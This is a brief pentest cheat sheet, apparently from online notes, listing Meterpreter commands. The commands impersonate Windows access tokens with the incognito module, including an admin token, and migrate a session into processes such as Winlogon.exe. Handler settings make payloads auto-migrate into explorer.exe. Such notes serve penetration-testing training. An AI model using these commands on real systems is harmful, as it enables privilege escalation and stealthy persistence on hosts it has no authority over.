Impersonate
Meterpreter
Incognito
With incognito module on meterpreter
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token Vulnableone\\admin
meterpreter > rev2self
Migration
meterpreter > migrate 274
meterpreter > migrate -N Winlogon.exe
We can specify target application to migrate before payload execute
msf6 exploit(multi/handler) > set PrependMigrate true
msf6 exploit(multi/handler) > set PrependMigrateProc explorer.exe
msf6 exploit(multi/handler) > set AutoRunScript migrate -f
Last updated